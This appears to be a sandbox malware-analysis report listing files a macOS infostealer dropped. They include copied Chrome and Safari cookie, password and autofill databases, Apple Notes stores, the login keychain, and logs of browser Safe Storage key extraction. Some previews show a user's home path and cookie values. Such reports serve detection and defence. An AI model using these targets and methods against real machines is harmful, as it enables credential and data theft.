Entropy (8bit):	4.90474332200719
Encrypted:	false
SSDEEP:	48:hjl5A8Z3kFrtMuA22Coeq1AwNEv4uS6mAMr9zsbj9k7jl5A8Z3kFrtMuA22Coeq5:KI/SguBI/Sguy
MD5:	4C40899FD93E8EBA01AE77437CF5B345
SHA1:	8575FA79C9CF5AB6E3FD54546DADBAB7D2C8F695
SHA-256:	AD5A68EDB7CE8C072AB02E8F9BE7825B0A321D2925AE3BE97764B33CDD6E43F5
SHA-512:	3C2D0E49394DE52150E5A7A7DEE34F59A87A51BC92F980BE5AD032BCB0A92CDF687C8A312AF1F72A345383E7752C339B7D594A8DBCEAFE4CBDA7BE46E7BD005F
Malicious:	false
Preview:	kc_file: svc=Chrome Safe Storage db_blob_version=0x00000200 db_key_ok.kc_file: svc=Chrome Safe Storage db_key_ok fades=23 record_keys=21.kc_file: svc=Chrome Safe Storage ssgps=100 svc_pos=7 cands=20.kc_file: svc=Chrome Safe Storage FOUND len=5 ct_len=32.kc_file: svc=Chromium Safe Storage db_blob_version=0x00000200 db_key_ok.kc_file: svc=Chromium Safe Storage db_key_ok fades=23 record_keys=21.kc_file: svc=Chromium Safe Storage ssgps=100 svc_pos=0 cands=0.kc_file: svc=Chromium Safe Storage trying_all_ssgps.kc_file: svc=Chromium Safe Storage FOUND_FALLBACK len=5.kc_file: svc=Brave Safe Storage db_blob_version=0x00000200 db_key_ok.kc_file: svc=Brave Safe Storage db_key_ok fades=23 record_keys=21.kc_file: svc=Brave Safe Storage ssgps=100 svc_pos=0 cands=0.kc_file: svc=Brave Safe Storage trying_all_ssgps.kc_file: svc=Brave Safe Storage FOUND_FALLBACK len=5.kc_file: svc=Opera Safe Storage db_blob_version=0x00000200 db_key_ok.kc_file: svc=Opera Safe Storage db_key_ok fades=23 record_keys=21.kc

/private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/.write_test

Download File

Process:	/private/tmp/syshelper_38577473
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	444BCB3A3FCF8389296C49467F27E1D6
SHA1:	7A85F4764BBD6DAF1C3545EFBBF0F279A6DC0BEB
SHA-256:	2689367B205C16CE32ED4200942B8B8B1E262DFC70D9BC9FBC77C49699A4F1DF
SHA-512:	9FBBBB5A0F329F9782E2356FA41D89CF9B3694327C1A934D6AF2A9DF2D7F936CE83717FB513196A4CE5548471708CD7134C2AE99B3C357BCABB2EAFC7B9B7570
Malicious:	false
Preview:	ok

/private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/BUILD_V3_MARKER.txt

Download File

Process:	/private/tmp/syshelper_38577473
File Type:	ASCII text
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.8445649741475805
Encrypted:	false
SSDEEP:	3:xKs0GFTAvNJmKHpOIgrip/HeEB9:70cTAVM2OIukl9
MD5:	15A24143CD55E92A7EFDCD6FE6DFBA9A
SHA1:	7E2269DDFDA6CB996761EAF0C7586951D4524ADB
SHA-256:	937B82E7BA09CFC540FA75A412600F656BF5C0B72D815DD7BEA38D00A221C754
SHA-512:	350543635B8EE78AEBB06BE7A15DC81DD9CE38036AB3250BCB15D18FA2A246478FB04915BABEE35D80E2DB4A7EBC17CFF0BD4067787AB8F656B43D761A84F333
Malicious:	true
Preview:	v3_shell_chrome.home=/Users/bernardo.temp=/tmp/N9XlzLZbJYFiad6a5ve5HYatU

/private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/Browsers/Chrome_Default/Autofills/Web Data

Download File

Process:	/private/tmp/syshelper_38577473
File Type:	SQLite 3.x database
Category:	dropped
Size (bytes):	163840
Entropy (8bit):	1.0930956620618253
Encrypted:	false
SSDEEP:	384:O6jDd0vd1bnF04gcV3Dh/T3OBIRvcKUwEGVu9XeMis:mvd9nS4ZVZOBIaKG
MD5:	C5A29D6308820643A537D88BE40CFFBD
SHA1:	1DFD6AD8DB90D87CF18FF60BC6F15F52DCF1BAF1
SHA-256:	6660C06E768AC11C211992EDE54745B5AFADB73E7005A44A4D4C1449F2A99040
SHA-512:	D72CAAD1BA9F58F18F6E495A70773AB419C2C82E5CC101107E81CB8CFB29795301D3DEC981B4337FCB519734119A7387A750DB972B532113A2634B8C156E852D
Malicious:	true
Preview:	SQLite format 3......@ .......M...........9...................................................................C........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

/private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/Browsers/Chrome_Default/Cookies/Cookies

Download File

Process:	/private/tmp/syshelper_38577473
File Type:	SQLite 3.x database
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.515544358037709
Encrypted:	false
SSDEEP:	96:1PareMagiFYcZ0iMFFY+/OFY1h8gN4Nk5x20tFYt2MOFYeFYVFY10jFY:1ParLaBMRLN4Kjb
MD5:	D56D784E1F6AA31443088424B94BC0E2
SHA1:	77AA64786F76DF6015AEA295BCD6E67BCF533D79
SHA-256:	11B39EDA9C87447303C729286BB53006F81513B513DA404E4CFAC1AEA42E0261
SHA-512:	5BB3569C1220619E768BB2E00147EC84510DA678397B8F018BCBF5BC6C4ED76DA6F883A5C38233CD353D8A660D80236D21556A2DD4475AFFF0EEF354F9435183
Malicious:	true
Preview:	SQLite format 3......@ ..................................................................................@..g.....@....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

/private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/Browsers/Chrome_Default/Cookies/cookies_decrypted.json

Download File

Process:	/private/tmp/syshelper_38577473
File Type:	ASCII text
Category:	dropped
Size (bytes):	940
Entropy (8bit):	4.493128050764993
Encrypted:	false
SSDEEP:	12:QVW+KHpWFk4uW+KH1W+KH1W+KHuWINtWuG9NRWuG9L0oHtWuG9NJHWuG9NBsnWFR:23q+omRkJmM
MD5:	7EFAABC3F6AA2803CCF2AF6F57BE2C6C
SHA1:	6FD7C554C10BEF9DE48D703260F3FCBFE459E9C8
SHA-256:	341F50815600CE63F380F086273E5E96A258DEAD1DBCF5D4EEEBE36B07AA958B
SHA-512:	66D90CCF41210A9A34C394A5357B5D997ED5044A3E238DF0A8D0F0186085F4CA600BDD286A2B01D27AFAAD8DAF12305A73E1832932B1B511CFBA10BB9B48797E
Malicious:	true
Preview:	[. {. "host_key": ".filepuma.com",. "name": "FCCDCF",. "value": "". },. {. "host_key": ".google.com",. "name": "SOCS",. "value": "". },. {. "host_key": ".filepuma.com",. "name": "__eoi",. "value": "". },. {. "host_key": ".filepuma.com",. "name": "_ga",. "value": "". },. {. "host_key": ".filepuma.com",. "name": "_ga_683DSSLRVM",. "value": "". },. {. "host_key": "www.manageengine.com",. "name": "zip",. "value": "". },. {. "host_key": ".youtube.com",. "name": "VISITOR_INFO1_LIVE",. "value": "". },. {. "host_key": ".youtube.com",. "name": "VISITOR_PRIVACY_METADATA",. "value": "". },. {. "host_key": ".youtube.com",. "name": "__Secure-ROLLOUT_TOKEN",. "value": "". },. {. "host_key": ".youtube.com",. "name": "__Secure-YNID",. "value": "". },. {. "host_key": ".google.com",. "name": "__Secure-ENID",. "value": "". }.]

/private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/Browsers/Chrome_Default/Passwords/Login Data

Download File

Process:	/private/tmp/syshelper_38577473
File Type:	SQLite 3.x database
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8813796361174657
Encrypted:	false
SSDEEP:	96:LI8DCn8MouB6w9fUnMiZqmvJKLPeymwil:LI8DG7Iw9ffiSi
MD5:	03DE6AEEF15C26F2024D4F144F5A8613
SHA1:	95E71511369ADCA911931D0D67116F0FE592CF85
SHA-256:	CB2E758D51FDDC561BD378DD8D03E78B580BAF77C6151E2FDCEC5BDF6C8688A0
SHA-512:	21BF0E6F1C5774B0E613431CF75CEEFA791CCB406B0DC184888EA25F537553B928D2FEBB6D0C7AC73CCE9FCC48C3404FB685825D409B871031F1972608281E1C
Malicious:	true
Preview:	SQLite format 3......@ ................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

/private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/Browsers/Chrome_Default/Passwords/Login Data For Account

Download File

Process:	/private/tmp/syshelper_38577473
File Type:	SQLite 3.x database
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8813796361174657
Encrypted:	false
SSDEEP:	96:LI8DCn8MouB6w9fUnMiZqmvJKLPeymwil:LI8DG7Iw9ffiSi
MD5:	03DE6AEEF15C26F2024D4F144F5A8613
SHA1:	95E71511369ADCA911931D0D67116F0FE592CF85
SHA-256:	CB2E758D51FDDC561BD378DD8D03E78B580BAF77C6151E2FDCEC5BDF6C8688A0
SHA-512:	21BF0E6F1C5774B0E613431CF75CEEFA791CCB406B0DC184888EA25F537553B928D2FEBB6D0C7AC73CCE9FCC48C3404FB685825D409B871031F1972608281E1C
Malicious:	true
Preview:	SQLite format 3......@ ................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

/private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/Browsers/Chrome_Default/Passwords/passwords_account_decrypted.json

Download File

Process:	/private/tmp/syshelper_38577473
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

/private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/Browsers/Chrome_Default/Passwords/passwords_decrypted.json

Download File

Process:	/private/tmp/syshelper_38577473
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

/private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/Browsers/Safari_Default/Cookies/Cookies.binarycookies

Download File

Process:	/private/tmp/syshelper_38577473
File Type:	GLS_BINARY_MSB_FIRST
Category:	dropped
Size (bytes):	16376
Entropy (8bit):	5.436403495230007
Encrypted:	false
SSDEEP:	192:z4tWWVC8Wi+TkSaCMXpDj+SzLrv3Ch4mnsh8qj3SYVM:ktWKWi+ATCMJTrfadC3SYW
MD5:	2E2E6407C39610D909D617AE04565F4E
SHA1:	30424B2D660122ABA5BA7071F8F5D3EBC2B855CF
SHA-256:	9DFC8F9B0C7B39FF13F8431ABAC253588A0B6915F2B2D312287745CF8FBFBC85
SHA-512:	FF8E022E6C20667C4C1BC2E958FDEDE61A68AB964733282E6C91F83A587A8BEC6D5A3895CBC177D2A530CF1DDCA68EBAE422D20D9CCEDDDE0FACC6C924E0F1FF
Malicious:	true
Preview:	cook...................U.......P...............L...............Z...1............(.......P...............L.......l........B......8...G...O...Q..............p...A...`...A.microsoft.com.ak_bmsc./.204C9FEC8675F394CB853AF31D558CF4~000000000000000000000000000000~YAAQRvAQAqXabCGeAQAAV9ZcYx+KnlxOJ3Nk0j6/DRE3PzE8SqbIlcWHXZidkfO3xG4m+MvngE8/cR66ljB8DY4Jv7tVf4q1ctjF465aIpd2F3nk6E5vQ4JFHrk1vod6XLzCSjYbY8G2QAT8blDEtfH0ezEYshOUURYhfY+j3r4xh8/li6ZC7fowfYCMFKDP5kuDFEGdF2fhiVSCywKab0FsypAybko4jfGsWhyH6r/Em85D4aViVYChO9AwuS7KqRku+5RKa5kb0Ge3aqNvi8ur0LVUHUSdN6PZgRksv9ndyHfBhUYQXIbHjAIhpC3wk+2/p6SkxSHt49PCK7eUoo01lg/vzI6bRr3CQhc4/o1pULyXY0cdJ+8K/Zpq78zrAiExDnpMrecJQAPH+s7ioQ==.bplist00...ZAccessTime#A...`.."...........................................QB......8...G...L...N..............k.\.A...c...A.microsoft.com.MSCC./.cid=scom8cxu4mlqn6yt2awx0eco-c1=1-c2=1-c3=1.bplist00...ZAccessTime#A...c..f............................................B......8...G...K...M...............d..A.......A.microsoft.com.MC1./.GUI

/private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/Diagnostics/.ks_diag.txt

Download File

Process:	/private/tmp/syshelper_38577473
File Type:	ASCII text
Category:	dropped
Size (bytes):	5400
Entropy (8bit):	4.90474332200719
Encrypted:	false
SSDEEP:	48:hjl5A8Z3kFrtMuA22Coeq1AwNEv4uS6mAMr9zsbj9k7jl5A8Z3kFrtMuA22Coeq5:KI/SguBI/Sguy
MD5:	4C40899FD93E8EBA01AE77437CF5B345
SHA1:	8575FA79C9CF5AB6E3FD54546DADBAB7D2C8F695
SHA-256:	AD5A68EDB7CE8C072AB02E8F9BE7825B0A321D2925AE3BE97764B33CDD6E43F5
SHA-512:	3C2D0E49394DE52150E5A7A7DEE34F59A87A51BC92F980BE5AD032BCB0A92CDF687C8A312AF1F72A345383E7752C339B7D594A8DBCEAFE4CBDA7BE46E7BD005F
Malicious:	false
Preview:	kc_file: svc=Chrome Safe Storage db_blob_version=0x00000200 db_key_ok.kc_file: svc=Chrome Safe Storage db_key_ok fades=23 record_keys=21.kc_file: svc=Chrome Safe Storage ssgps=100 svc_pos=7 cands=20.kc_file: svc=Chrome Safe Storage FOUND len=5 ct_len=32.kc_file: svc=Chromium Safe Storage db_blob_version=0x00000200 db_key_ok.kc_file: svc=Chromium Safe Storage db_key_ok fades=23 record_keys=21.kc_file: svc=Chromium Safe Storage ssgps=100 svc_pos=0 cands=0.kc_file: svc=Chromium Safe Storage trying_all_ssgps.kc_file: svc=Chromium Safe Storage FOUND_FALLBACK len=5.kc_file: svc=Brave Safe Storage db_blob_version=0x00000200 db_key_ok.kc_file: svc=Brave Safe Storage db_key_ok fades=23 record_keys=21.kc_file: svc=Brave Safe Storage ssgps=100 svc_pos=0 cands=0.kc_file: svc=Brave Safe Storage trying_all_ssgps.kc_file: svc=Brave Safe Storage FOUND_FALLBACK len=5.kc_file: svc=Opera Safe Storage db_blob_version=0x00000200 db_key_ok.kc_file: svc=Opera Safe Storage db_key_ok fades=23 record_keys=21.kc

/private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/Diagnostics/_browsers_ok.txt

Download File

Process:	/private/tmp/syshelper_38577473
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	444BCB3A3FCF8389296C49467F27E1D6
SHA1:	7A85F4764BBD6DAF1C3545EFBBF0F279A6DC0BEB
SHA-256:	2689367B205C16CE32ED4200942B8B8B1E262DFC70D9BC9FBC77C49699A4F1DF
SHA-512:	9FBBBB5A0F329F9782E2356FA41D89CF9B3694327C1A934D6AF2A9DF2D7F936CE83717FB513196A4CE5548471708CD7134C2AE99B3C357BCABB2EAFC7B9B7570
Malicious:	false
Preview:	ok

/private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/Diagnostics/_pre_browsers.txt

Download File

Process:	/private/tmp/syshelper_38577473
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	15
Entropy (8bit):	3.6402239289418516
Encrypted:	false
SSDEEP:	3:LIEGon:LIvo
MD5:	96006B8D84CFC76A38B1090798054758
SHA1:	0FC57D64E7551A969D0E0960CCC2C28CE1CA60ED
SHA-256:	74E6B00D546DF16880293C5476381A29C8C45457B1350A6A249626E7CFCAC277
SHA-512:	F248455CC2337E25DEE7026931C0016D8E8EBCC9A9D14EE3F97A0A518FFFE1712650AEC0AE39348AD102A9102383C9FD4838263F194310707958219F03971735
Malicious:	false
Preview:	keys=9 macos=15

/private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/Diagnostics/_start.txt

Download File

Process:	/private/tmp/syshelper_38577473
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.090234012145144
Encrypted:	false
SSDEEP:	3:LIEGOy2RAA:LIvOy2H
MD5:	791AA87884A4910A1FC3F719E8ABB60D
SHA1:	FB61C3AC94E7773A3E5C77D8A24E86292CE91611
SHA-256:	780F123CBAE96ECB17D488C82DAA736C3B1CE2F3B13D3978883415461D930EDB
SHA-512:	60C157173FDC1EDDD1A8F71917F55E648F05396905581A5A99915533FB90A9C03713499DE1E85D4D7B4EAC57159BE8F8978E7523FC3ABF55D12EFA5F7571BA0B
Malicious:	false
Preview:	keys=9 macos_ver=15 sudo=true

/private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/Diagnostics/browser_diag.txt

Download File

Process:	/private/tmp/syshelper_38577473
File Type:	ASCII text
Category:	dropped
Size (bytes):	1572
Entropy (8bit):	4.726358005171292
Encrypted:	false
SSDEEP:	12:LP/MG/MF/MxZZ/MCjeIZ/MWCk/MtBV8/MJpg/MMttmyPZ/MMttkQq/MethD5/M7o:LRfPPWuPmmRPt0JrVE6Lr
MD5:	CCE4D73C6F2FC9154423C98DD93A48BA
SHA1:	1D37111F8E141210F666AF2326A95AE7404A1102
SHA-256:	20380FE99B67E8ED0D7744DCA875278C7E1588AE1CAD1A3D2948F0ED6B9158BE
SHA-512:	B6653B8E2455F48E4D21206224A3DF9545F23DC25FCF3F40CF83A756EDD3D19734F23943FF074B88C1BA9204B6067C2234221A656187DA69ED02010C28526751
Malicious:	false
Preview:	Chrome: path=/Users/bernardo/Library/Application Support/Google/Chrome exists=true.Firefox: path=/Users/bernardo/Library/Application Support/Firefox/Profiles exists=true.Waterfox: path=/Users/bernardo/Library/Application Support/Waterfox/Profiles exists=false.Brave: path=/Users/bernardo/Library/Application Support/BraveSoftware/Brave-Browser exists=false.Edge: path=/Users/bernardo/Library/Application Support/Microsoft Edge exists=false.Vivaldi: path=/Users/bernardo/Library/Application Support/Vivaldi exists=false.Yandex: path=/Users/bernardo/Library/Application Support/Yandex/YandexBrowser exists=false.Opera: path=/Users/bernardo/Library/Application Support/com.operasoftware.Opera exists=false.OperaGX: path=/Users/bernardo/Library/Application Support/com.operasoftware.OperaGX exists=false.Arc: path=/Users/bernardo/Library/Application Support/Arc/User Data exists=false.CocCoc: path=/Users/bernardo/Library/Application Support/CocCoc/Browser exists=false.Chrome Beta: path=/Users/bernardo/

/private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/Diagnostics/controller_diag.txt

Download File

Process:	/private/tmp/syshelper_38577473
File Type:	ASCII text
Category:	dropped
Size (bytes):	261
Entropy (8bit):	4.5796897918817
Encrypted:	false
SSDEEP:	6:W4DYDPryAWVt3JGrcniiE/7r9kE7xEx1E9gcrRq9M:HAlrRRkey1+oM
MD5:	740BBFC20A57B44C536EC06A996FFBD4
SHA1:	9395C3AB7C724FA59B87545282169C6CD0837AA8
SHA-256:	0DE14520EBD68256E0154660AE5AE364F1F04B0CCAEA6CE767869C51D6695CE4
SHA-512:	FC8B7587249FEABC79B0891A0A0656625F9A28B289D1DD816AF447917EB68436F414BC689DE3F0372B15CE91D4739794CB16D97075CF27E06DF2C7D9E08BAA92
Malicious:	true
Preview:	safe_storage_keys_count=9.chrome_key_source=keychain.macos_ver=15.cdp_fallback=false.browser_key: Brave.browser_key: Yandex.browser_key: Arc.browser_key: CocCoc.browser_key: Edge.browser_key: Opera.browser_key: Chromium.browser_key: Vivaldi.browser_key: Chrome.

/private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/Diagnostics/controller_diag2.txt

Download File

Process:	/private/tmp/syshelper_38577473
File Type:	ASCII text
Category:	dropped
Size (bytes):	84
Entropy (8bit):	4.3422795621763175
Encrypted:	false
SSDEEP:	3:WjC3n6dsDIfvc6fPlJTyA6EWQRAiQK:W4DYDPryA6EWQRAzK
MD5:	3544AFF622BA6E65C3C1ABAB5C4A635A
SHA1:	2BF28822FE1A89D4FAF0C00A757816D6FD317A32
SHA-256:	0D7FBE1B19CA3D41479595DEF9F62A7F3489094A82B30818EEA5F830122FA038
SHA-512:	3204409D2D6C627C06DC18DCA5640653590F8CD9F4A73E1B52F7775FEFA7D9B9BE19A24984647834AA8C19CC455E3CEBE1107D0C1A7F22BD31E1CD772D7D7809
Malicious:	true
Preview:	safe_storage_keys_count=9.chrome_key_source=keychain.macos_ver=15.diag_written=true.

/private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/Diagnostics/masterkey_diag.txt

Download File

Process:	/private/tmp/syshelper_38577473
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	4.996584829129534
Encrypted:	false
SSDEEP:	6:lgW2CDvcGtEvyA/tVvju9hvmynMvIKMvy3MvKl9+hvLvuuvBsvGvsYwn:lg/CL3t3A//onu2rKS5bPc4szn
MD5:	56BCE16FE39CE65BA18895AE297D16F1
SHA1:	FF9D358FC919BDF677D32B3C3A8CE9162B71A35C
SHA-256:	06F8721EB54748ED057F121ACB7800A1AFDD31746F0C679BD4BF8E83D7288CB5
SHA-512:	476D75FAA5E9268B59BE9FF2B85F34F748B7DA3439C2399A446D029DDEF6A39E4EA315FF25C8B43CF55E17D6385631FE3D48853C60651BA9911E0C5282034A19
Malicious:	false
Preview:	keychain_path=/Users/bernardo/Library/Keychains/login.keychain-db.macos_ver=15.phase4: file_parse (fallback).FILE Chrome=5 bytes.FILE Chromium=5 bytes.FILE Brave=5 bytes.FILE Opera=5 bytes.FILE Vivaldi=5 bytes.FILE Edge=5 bytes.FILE Yandex=5 bytes.FILE Arc=5 bytes.FILE CocCoc=5 bytes.result=9 keys

/private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/Diagnostics/shell_chrome_diag.txt

Download File

Process:	/private/tmp/syshelper_38577473
File Type:	ASCII text
Category:	dropped
Size (bytes):	746
Entropy (8bit):	4.8389463234010845
Encrypted:	false
SSDEEP:	12:LDG2MraEXUznbpndpnyKtpnpKQQKIkUM48G2MCjeMG2MWC/F2MtBV/B2MMttmyME:Li2TbjQG3KQQRpMYeAcG19BaPmr2/
MD5:	754C102EB0E0215F9BED90506301E768
SHA1:	4217582CA7DEB2B07CB6F174B9B734FE23C04921
SHA-256:	A306F9C00D20FE0E86F123AD5A9129E103462A2E2D0BEB6BCAB8847C3F478463
SHA-512:	B5EEB2DDC9A2B08823C744B187EB2C8FBAE0AFBA1B1827374FBB3C54BF38C42ACDB2627454C3A66D9C42EBD8C2C17FA1DAEB331C623426F9CC5B9DAFE5D49900
Malicious:	false
Preview:	Chrome: /Users/bernardo/Library/Application Support/Google/Chrome exists=true. Chrome Default -> /tmp/N9XlzLZbJYFiad6a5ve5HYatU/Browsers/Chrome_Default. cp Cookies. cp Cookies-journal. cp Login Data. cp Login Data-journal. cp Login Data For Account. cp Web Data. cp Web Data-journal. cp History. cp Local State.Brave: /Users/bernardo/Library/Application Support/BraveSoftware/Brave-Browser exists=false.Edge: /Users/bernardo/Library/Application Support/Microsoft Edge exists=false.Vivaldi: /Users/bernardo/Library/Application Support/Vivaldi exists=false.Opera: /Users/bernardo/Library/Application Support/com.operasoftware.Opera exists=false.Arc: /Users/bernardo/Library/Application Support/Arc/User Data exists=false

/private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/NoteStore.sqlite

Download File

Process:	/private/tmp/syshelper_38577473
File Type:	SQLite 3.x database
Category:	dropped
Size (bytes):	294912
Entropy (8bit):	2.0762902832196706
Encrypted:	false
SSDEEP:	1536:lzllU38rtb53YIH/IXmxCop+EnVq/DKM0:lzu2Yi/IW4oT8/H0
MD5:	B828F425A2C06BD7F3EBC68D525E412A
SHA1:	307218613916DFB57D53C99C6A0894E7208332F9
SHA-256:	2E7061808A2D4A695AABD78D71E87B06F68F64B6455C7A0E575AF7E1FD40E7BB
SHA-512:	1ED7753A27989FFF6AF43289D6E040427D8FE0FD378AE5EBD3AADEF1816586AEE0C61AB961558FBE5714B699EABE4586C44D0708E5004107594F29FC5E8DB69E
Malicious:	true
Preview:	SQLite format 3......@ .......H...........F...........<..........................................n............A........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

/private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/NoteStore.sqlite-shm

Download File

Process:	/private/tmp/syshelper_38577473
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	true
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

/private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/NoteStore.sqlite-wal

Download File

Process:	/private/tmp/syshelper_38577473
File Type:	empty
Category:	dropped
Size (bytes):	0
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	D41D8CD98F00B204E9800998ECF8427E
SHA1:	DA39A3EE5E6B4B0D3255BFEF95601890AFD80709
SHA-256:	E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855
SHA-512:	CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E
Malicious:	true
Preview:

/private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/Notes/NoteStore.sqlite

Download File

Process:	/private/tmp/syshelper_38577473
File Type:	SQLite 3.x database
Category:	dropped
Size (bytes):	294912
Entropy (8bit):	2.0762902832196706
Encrypted:	false
SSDEEP:	1536:lzllU38rtb53YIH/IXmxCop+EnVq/DKM0:lzu2Yi/IW4oT8/H0
MD5:	B828F425A2C06BD7F3EBC68D525E412A
SHA1:	307218613916DFB57D53C99C6A0894E7208332F9
SHA-256:	2E7061808A2D4A695AABD78D71E87B06F68F64B6455C7A0E575AF7E1FD40E7BB
SHA-512:	1ED7753A27989FFF6AF43289D6E040427D8FE0FD378AE5EBD3AADEF1816586AEE0C61AB961558FBE5714B699EABE4586C44D0708E5004107594F29FC5E8DB69E
Malicious:	true
Preview:	SQLite format 3......@ .......H...........F...........<..........................................n............A........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

/private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/Notes/NoteStore.sqlite-shm

Download File

Process:	/private/tmp/syshelper_38577473
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	true
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

/private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/Notes/NoteStore.sqlite-wal

Download File

Process:	/private/tmp/syshelper_38577473
File Type:	empty
Category:	dropped
Size (bytes):	0
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	D41D8CD98F00B204E9800998ECF8427E
SHA1:	DA39A3EE5E6B4B0D3255BFEF95601890AFD80709
SHA-256:	E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855
SHA-512:	CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E
Malicious:	true
Preview:

/private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/Passwords/login.keychain-db

Download File

Process:	/private/tmp/syshelper_38577473
File Type:	Mac OS X Keychain File
Category:	dropped
Size (bytes):	136176
Entropy (8bit):	6.814027014719931
Encrypted:	false
SSDEEP:	3072:SZViM+PK6E+6R1dTN0bciyIXYSZBUSEbwNi2GWiDMHcIix0zS6gs9uW4:Si+XwNi7YRS6glW4
MD5:	9F35C305011E866DB5242EB6F588D392
SHA1:	FEF453B1ED90B47E68C5D7323FE48B77718EAFC5
SHA-256:	31B80FF5732EFE1D963E649F16EF16055BC98BD8A444C1C97CFF8E47A6F70C2A
